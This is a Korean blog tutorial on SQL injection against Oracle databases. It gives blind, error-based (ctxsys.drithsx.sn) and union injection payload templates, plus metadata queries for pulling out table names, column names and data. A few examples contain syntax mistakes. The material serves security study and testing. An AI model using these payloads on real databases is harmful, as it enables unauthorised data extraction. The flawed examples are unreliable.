본문 바로가기

보안지식/SQL

SQL injection Oracle 양식

안녕하세요 저는 이태까지 mysql 환경에서 injection을 했었습니다.

 

그러니 이번에는 Oracle 버젼의 인젝션 공격 방안을 찾아보겠습니다.

뭐.. 공격 방식은 mysql이랑 다를 바 없습니다.

 

먼저 sql injection이 통할 것 같은 포인트를 찾아 보고 그다음에 쿼리문을 추측 한 후 공격을 하면 됩니다.

 

보통 포인트 부분은 데이터를 보낼 때 '나 " 같이 기호들을 붙이고 보내 봐서 이상한 데이터가 나오는지 에러가 나는

부분들이 포인트 입니다!

 

일단 문법부터 보시겠습니다. mysql이랑 Oracle이랑 sql 쓰는 건 똑같은데 문법이 살짝 다릅니다.

그러니 뭐가 다른지만 보고 가겠습니다.

 

 

* Oracle vs Mysql

 

--페이징 처리

Oracle 에서는 ROWNUM을 씁니다. SELECT * FROM tables WHERE ROWNUM BETWEEN 0 AND 10;

Mysql 에서는 LIMIT을 썼죠. SELECT * FROM tables WHERE LIMIT 0,10;

 

--혼자서 select문 쓸 때

Oracle 에서 select 1 만 하면 1이 출력되지 않고 오류가 납니다! 이유는 FROM dual을 꼭 써서 테이블을 명시해야됩니다.

SELECT 1 FROM dual

 

Mysql에서는 상관 안 합니다.

SELECT 1

 

--문자 결합

Oracle에서 문자 결합 할 때 || 을 사용 합니다. CONCAT도 사용 가능한데 보통 ||을 사용하는게 더 보기 좋다고 합니다.

SELECT CONCAT(CONCAT(test, '   '), test_user) FROM test_tables

SELECT test||'   '||test_user FROM test_tables

 

Mysql에서는 CONCAT을 이용합니다 ||을 OR로 계산하니 차이점이죠.

 

--문자 추출

Oracle에서는 SUBSTR() 을 씁니다.

SUBSTR('test',1,1)

 

MySQL에서는 SUBSTR도 사용 가능하지만 SUBSTRING이 처럼 풀 명칭 씁니다.

SUBSTRING('test',1,1)

 

나머지 날짜, 시퀸스 등이 있는데 자주 사용하지 않으니 넘어가겠습니다.

 

 

* Oracle Blind SQL injection

일단 Mysql에서 데이터베이스 명 추출할 때 사용한 명령어랑 테이블 추출용 명령어를 제가 포스팅 해놨습니다.

 

이번엔 Oracle에서의 추출용 명령어를 정리하겠습니다.

 

버젼: select banner from v$version

DB 이름 : select global_name from global_name

전체 테이블 : select table_name from all_tables

현재 사용자 권한 부여된 테이블 : select tname from sys.tab where rownum=1

컬럼명 : select * from all_tab_columns where table_name = '테이블명'

전체사용자 : select DISTINCT owner FROM all_tables

현재사용자 : select user from dual

 

이제 mysql에서 이용한 blind sql문에 사용한 쿼리를 살짝 수정하면 Oracle에 응용할 수 있습니다.

 

AND ascii(substr(([알아볼 sql문]),[알아볼 자릿수],1)) 이렇게 쓰면 되겠네요

 

만약 현재 테이블의 첫 번째 글자 알고 싶으면

AND ascii(substr((select tname from sys.tab where rownum=1),1,1)) > 0 이렇게 쓰면 되겠습니다.

 

컬럼을 추출 할 땐 하나 씩 추출해야 되서 rownum을 이용해야 됩니다.

 

' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='[테이블 명]') where rnum=[몇 번째 컬럼]),[알아볼 자리 번호],1)) < [아스키코드] --

이 코드를 이용하면 됩니다.

 

 

데이터 추출할 때도 rownum을 이용해 하나씩 봐야 됩니다.

' AND ASCII(SUBSTR((SELECT [컬럼명] FROM (SELECT ROWNUM AS RNUM, [컬럼 명] FROM [테이블 명]) WHERE RNUM=[몇 번째 데이터]),[알아볼 자리],1)) < [아스키 코드] --

 

이걸 이용하시면 됩니다.

 

 

 

* Oracle Error_based injection

여러 방법이 있긴 하지만 저는 ctxsys.drithsx.sn을 이용하겠습니다.

AND ctxsys.drithsx.sn(1,([알아볼 sql문])) <> 1-- 

 

만약 DB명을 보고 싶다면

AND ctxsys.drithsx.sn(1,(select global_name from global_name)) <> 1-- 

이렇게 하면 됩니다.

 

 

 

* Oracle Union injection

오라클의 union injection이랑 mysql의 union injection의 차이가 없습니다.

 

order by 통해 컬럼 수를 알아 내고 select 문으로 자신이 원하는 sql 문 쿼리를 중간중간에 넣어서 하시면 됩니다!

 

제 포스팅에 Union sql injection 있습니다. 참고 하시면 됩니다.

 

예를 들어 order by 통해 4개 칼람이 있는 걸 알았으면

 

union select 1,null,null,null from dual 입력해서 첫 번째 칼람의 자료형이 정수인지 확인하고

union select 'a',null,null,null from dual 이렇게 입력해서 또 문자열인지 확인하고....

각 자료형을 알아 낼 수 있습니다.

 

그리고 난 뒤에 DB명을 알고 싶으시면

union select '1','2','3', select global_name from global_name 이런 식으로 알아 낼 수 있습니다.

 

 

 

참고 링크

https://useegod.com/2022/03/30/sql_injection/

 

SQL Injection

1 min read Sep 28, 2022 Bypass NAC UseeGod in CheatSheet

useegod.com